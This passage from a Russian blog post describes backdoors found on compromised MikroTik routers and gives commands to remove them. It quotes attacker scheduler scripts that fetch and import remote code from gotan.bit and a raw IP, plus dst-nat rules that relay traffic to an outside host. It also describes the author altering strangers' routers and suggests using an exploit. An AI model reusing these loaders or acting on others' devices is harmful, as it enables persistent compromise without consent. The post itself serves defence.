была минимальна, то я пришёл к выводу, что подавляющее большинство даже и не заметит, что что-то на роутере не так. Поэтому я стал дорабатывать свой скрипт, который помимо правил фаервола будет удалять известные мне backdoors, которые оставили злоумышленники. Логично, что мой метод устраивает не всех. Но другого подхода для выполнения данной задачи я не придумал ещё. Хакеры любят RouterOS В подавляющем большинстве случаев я попадал на устройство, которое уже кем-то заражено. Я, к сожалению, не сразу стал анализировать их содержимое. Вот что я нашёл и что будет верным признаком, что ваш роутер скомпрометирован. Web-прокси и Socks Самое банальное использование маршрутизатора через стандартные вэб и socks прокси. Если вы их не используете, но они включены, то просто выключите их. /ip proxy set enabled=no /ip socks set enabled=no Но чтобы просто так не получилось выключить хакер добавляет в шедулер скрипт, которой прокси включит через некоторое время: /system script Вы можете обнаружить у себя файл webproxy/error.html который прокси вам подсовывает, а он в свою очередь вызывает майнер. Лишние параметры появляются и здесь: /ip proxy access print /ip socks access print Script может всё В 90% дырявых Микротиков имеются скрипты /system script и для них настроено расписание выполнения /system scheduler. По расписанию скачивается скрипт, которой в дальнейшем выполняется. Установка майнера /system scheduler add interval=11h name=upd113 on-event="/tool fetch url=http://gotan.bit:31415/\ 01/error.html mode=http dst-path=webproxy/error.html" policy=\ ftp,reboot,read,write,policy,test,password,sniff,sensitive start-date=\ aug/20/2018 start-time=03:28:02 add interval=9h name=upd115 on-event=\ "/tool fetch url=http://gotan.bit:31415/01/u113.rsc mode=http" policy=\ ftp,reboot,read,write,policy,test,password,sniff,sensitive start-date=\ aug/20/2018 start-time=03:28:02 add interval=9h name=upd116 on-event="/import u113.rsc" policy=\ ftp,reboot,read,write,policy,test,password,sniff,sensitive start-date=\ aug/20/2018 start-time=03:28:12 add interval=1d name=Auto113 on-event="/system reboot" policy=\ ftp,reboot,read,write,policy,test,password,sniff,sensitive start-date=\ aug/20/2018 start-time=03:00:00 /system script add name=script4_ owner=nivel2 policy=\ ftp,reboot,read,write,policy,test,password,sensitive source="/tool fetch a\ ddress=95.154.216.163 port=2008 src-path=/mikrotik.php mode=http keep-resu\ lt=no" Ещё один вариант скрипта, который после применения пытается частично спрятаться. Таким образом у злоумышленников всегда есть возможность «скормить» новый скрипт и, например, провести масштабную DDOS атаку. Скрипты могут быть спрятаны везде Поэтому проверяйте эти места тщательно. На чистом RouterOS эти места пустые. DST-NAT К моему большому удивлению, но много таких устройств, на которых завёрнут трафик через /ip firewall nat. Спам в dst-nat /ip firewall nat add action=masquerade chain=srcnat comment="default configuration" add action=masquerade chain=srcnat add action=dst-nat chain=dstnat dst-port=4444 protocol=tcp to-addresses=\ 91.92.128.187 to-ports=4444 add action=dst-nat chain=dstnat dst-port=8008 protocol=tcp to-addresses=\ 91.92.128.187 to-ports=4444 add action=dst-nat chain=dstnat dst-address=218.11.2.83 dst-port=8008 \ protocol=tcp to-addresses=91.92.128.187 to-ports=4444 add action=dst-nat chain=dstnat dst-address=218.11.2.83 dst-port=443 \ protocol=tcp to-addresses=91.92.128.187 to-ports=4444 add action=dst-nat chain=dstnat dst-address=218.11.2.83 dst-port=25 protocol=\ tcp to-addresses=91.92.128.187 to-ports=4444 add action=dst-nat chain=dstnat dst-address=51.15.39.52 dst-port=9999 \ protocol=tcp to-addresses=91.92.128.187 to-ports=4444 add action=dst-nat chain=dstnat dst-address=51.15.39.186 dst-port=9999 \ protocol=tcp to-addresses=91.92.128.187 to-ports=4444 add action=dst-nat chain=dstnat dst-address=51.15.89.69 dst-port=9999 \ protocol=tcp to-addresses=91.92.128.187 to-ports=4444 add action=dst-nat chain=dstnat dst-address=79.137.82.70 dst-port=9999 \ protocol=tcp to-addresses=91.92.128.187 to-ports=4444 add action=dst-nat chain=dstnat dst-address=79.137.82.104 dst-port=9999 \ protocol=tcp to-addresses=91.92.128.187 to-ports=4444 add action=dst-nat chain=dstnat dst-address=92.222.72.197 dst-port=9999 \ protocol=tcp to-addresses=91.92.128.187 to-ports=4444 add action=dst-nat chain=dstnat dst-address=92.222.180.118 dst-port=9999 \ protocol=tcp to-addresses=91.92.128.187 to-ports=4444 add action=dst-nat chain=dstnat dst-address=151.80.59.84 dst-port=9999 \ protocol=tcp to-addresses=91.92.128.187 to-ports=4444 Хороший способ скрыть свой реальный ip. VPN Как же без него. RouterOS умеет подымать различные виды vpn, но хакеры чаще всего используют pptp и L2TP. Поэтому проверьте раздел /ppp secret Даже если этот раздел пуст, то ушлые хакеры могут авторизоваться и через Radius. Проверяем наличие записей /radius print Если вы ничего не настраивали, то там должно быть пусто. В противном случае стоит очистить: /radius remove numbers=[/radius find ] И запретить использовать Radius /ppp aaa set use-radius=no use-circuit-id-in-nas-port-id=no Отключаем использование Radius для авторизации на устройстве /user aaa set use-radius=no Если вы не используйте vpn, то отключите его /interface l2tp-server server set enabled=no /interface pptp-server server set enabled=no /interface sstp-server server set enabled=no DNS static Без фишига так же не обошлось. На роутерах в /ip dns static можно обнаружить и такое Всё очень просто: вы в адресную строку вбиваете адрес сайта, который вы знаете, а фактически попадаете на сервер злоумышлинника. Удаляем содержимое /ip dns static remove numbers=[/ip dns static find] Урезание прав админа UPD: Так же есть группа роутеров, где хакер урезал права у admin и завёл своего с полными правами (например router и cnt), либо просто отбирает права и обновляет прошивку на последнюю. содержимое /user в первом случае Как вариант решения этой проблемы: через netinstall сделать downgrade на уязвимую прошивку и воспользоваться эксплоитом. Packet Sniffer Коллеги из Лаборатории Касперского упомянули кражу трафика по средствам его перенаправления на неизвестный узел. Выключить его можно так: /tool sniffer stop /tool sniffer set streaming-enabled=no filter-ip-protocol="" filter-port="" filter-interface="" filter-stream=no Проблема продукции Mikrotik Абсолютно защищённых систем не существует. А массовое распространение продукции Mikrotik так же повлекло массовое изучение этих устройств. Так как функционал RouterOS позволяет выполнять огромное количество задач он интересен и хакерам в том числе. Из-за того, что продукт очень динамично развивается, то и скорость появления новых «дыр» тоже велико. Не смотря на это компания Микротик оперативно выпускает заплатки для своих систем. Выход На сегодняшний день единственным верным решением для защиты RouterOS — это корректно настроенный фаервол, который работает по принципу «запрещено всё, что явно не разрешено». А всё потому, что Микротик использует классический фаервол Linux, который годами оттачивался армией специалистов. Если требуется доступ к устройству из глобальной сети, то используйте принцип "port knocking". Принцип «fail2ban» себя не всегда оправдывает, так как всё равно обнаруживает устройство. Глобальные решения Режим ламера В виду того, что устройства очень дешёвые, то их покупают пользователи, которые не имеют специальных знаний. Компании Mikrotik необходимо разработать интерфейс «ламера», который имеет минимальное количество настроек как и большинство SOHO роутеров. Причём он должен быть по умолчанию. А расширенный режим пользователь должен включить осознано сам. Текущий «Quick set» не достаточно хорош. Более того из-за изобилия кнопок юзер может и не заметить эту функцию. Bug analyzer Так же необходим модуль, который проводит анализ текущей конфигурации на возможные уязвимости и уведомляет пользователя, если считает, что роутер может быть скомпрометирован. Этот модуль должен подгружать «базу знаний», которую наполняют сотрудники Mikrotik на основании распространённых ошибок. А в случае серьёзных уязвимостей включать «аварийный» режим. Если я смог систематизировать часть угроз, то разработчики и подавно… FireWall — как услуга провайдеров Рынок «умных» устройств очень бурно развиваются и они далеко не все хорошо защищены. Большинство людей, которые их приобретают, так же не владеют специальными знаниями, чтобы самостоятельно защитить свои гаджеты. Поэтому интернет провайдерам пора создать коммерческую услугу по защите таких гаджетов. Банально пользователь в личном кабинете указывает какие порты открыть из интернета. Так же провайдеры могут создать централизованную базу по существующим устройствам и их нормальным потребностям. Пользователь указывает в ЛК какие устройства у него используются. В случае нестандартного поведения такого устройства — уведомлять пользователя. Я считаю, что рынок уже созрел для такой услуги. В этой услуге есть следующие плюсы: Для провайдера ещё одна статья дохода Сокращение паразитного трафика Сокращаем рекрутинг устройств в ботнет Популяризация развивающихся услуг «умный дом» Пользователи могут дальше не заморачиваться своей безопасностью. Немного о себе Попытаюсь ответить на вопросы, которые наверняка мне зададут. Я работаю на должности не связанной с Mikrotik и сетями в общем. Тем не менее у меня есть сертификат MTCNA. Микротик — моё хобби. Всё, что я делаю — мне просто нравится. Так сказать «по фану». Почему не устроился на работу по профилю? Те кто в нашем городе покупает mikrotik много платить ЗП не могут. Те, кто может мне платить достойную ЗП — покупают cisco. В комментах в фаерволе я указывал свои кошельки, но с мая мне закинули всего около $40. В телеграм писали из разных стран, мол у них нет wmz, но всё равно «спасибо». P.S.: Поделитесь вашим опытом как ещё хакеры могут использовать Mikrotik.